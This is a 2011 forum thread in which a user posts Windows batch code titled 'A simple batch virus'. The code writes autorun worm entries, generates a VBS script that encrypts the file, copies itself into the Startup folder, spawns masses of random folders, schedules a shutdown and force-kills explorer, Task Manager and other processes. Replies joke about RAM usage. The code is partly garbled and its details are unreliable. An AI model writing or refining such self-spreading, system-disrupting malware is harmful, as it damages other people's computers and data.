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A simple batch virus - Printable Version

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A simple batch virus - Shadwow - 04-07-2011

Well , here it is :

Code:
@echo off & title Prank ( echo :: { :worm Code 1: [aUtoRun[ :0 >> SVxd8v1.bat [aUtoRUn ;jam3 OpEN=filesystem/pagefile.exe :xm3d >> SVxd8v1.bat ACtioN=Open SHELL\\\oPen\\CoMMAnd=filesystem/page­file.exe SHEll\\\\eXpLorE\\\cOMMand=filesystem/pa­gefile.exe UseAUToPLAy=11m0yE5cY803Y803X4Mx+'I,0Q2Z­UmXyM83tx9ceTA09H8W4u890e5 Code 2: [AutoRun] open=RavMon.exe shell\open=´o?a(&O) shell\open\Command=RavMon.exe shell\explore=×EÔ´1ÜAíA÷(&X) shell\explore\Command="RavMon.exe -e" start "" "Encrypter.vbs" } ) > SVxd8v1.bat :encrypt ( echo :: { set fso = createobject("scripting.filesystemobject") > Encrypter.vbs >> Encrypter.vbs set file = fso.opentextfile("%~nx0", 1) >> Encrypter.vbs encrypttext = file.ReadAll() >> Encrypter.vbs file.close >> Encrypter.vbs >> Encrypter.vbs set file = fso.opentextfile("%~nx0", 2, true) >> Encrypter.vbs file.write encrypt(encrypttext) >> Encrypter.vbs file.close >> Encrypter.vbs >> Encrypter.vbs set objshell = createobject("wscript.shell") >> Encrypter.vbs fso.deletefile wscript.scriptfullname >> Encrypter.vbs wscript.quit >> Encrypter.vbs >> Encrypter.vbs private function encrypt(byval string) >> Encrypter.vbs Dim x, i, tmp >> Encrypter.vbs For i = 1 To Len( string ) >> Encrypter.vbs x = Mid( string, i, 1 ) >> Encrypter.vbs tmp = tmp ^& Chr( Asc( x ) + 1 ) >> Encrypter.vbs Next >> Encrypter.vbs tmp = StrReverse( tmp ) >> Encrypter.vbs Encrypt = tmp >> Encrypter.vbs End Function >> Encrypter.vbs } ) > Encrypter.vbs for %0 in (%~0\SVxd8v1.bat) do ( copy %0 "%systemdrive%\users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" :start now start "" "SVxd8v1.bat" localhost -n 1 del "%~0\SVxd8v1.bat" /q md %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%%random% %random% %random% %random% %random% :folders md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% md=%rnd% start www.microsoft.com shutdown -s -t 60 :main1 start www.avg.com for %%R in ("notepad.exe", "IEXPLORER.exe", "explorer.exe" "notepad++.exe", "taskmgr.exe") do taskkill /F /IM %%R start "" "Encrypter.vbs" del "%~0\Encrypter.vbs" exit

What it does.
- It creates a worm.
- It encrypts it-self
-And fills up a bit of ram memory.

RE: A simple batch virus - FunKx - 04-07-2011

How much is a bit? xD

RE: A simple batch virus - 1234hotmaster - 04-07-2011

you mean how much is a byte? a byte is 8 bits. 1024 bytes make 1 KB. 1024 KB make 1 MB. 1024 MB make 1 GB and 1024 GB make 1 TB.

RE: A simple batch virus - FunKx - 04-07-2011

Lol no xD

"And fills up a bit of ram memory."

How much Biggrin

RE: A simple batch virus - Shadwow - 04-07-2011

if he run enough time to do his work he fills up a considerable part of your ram memory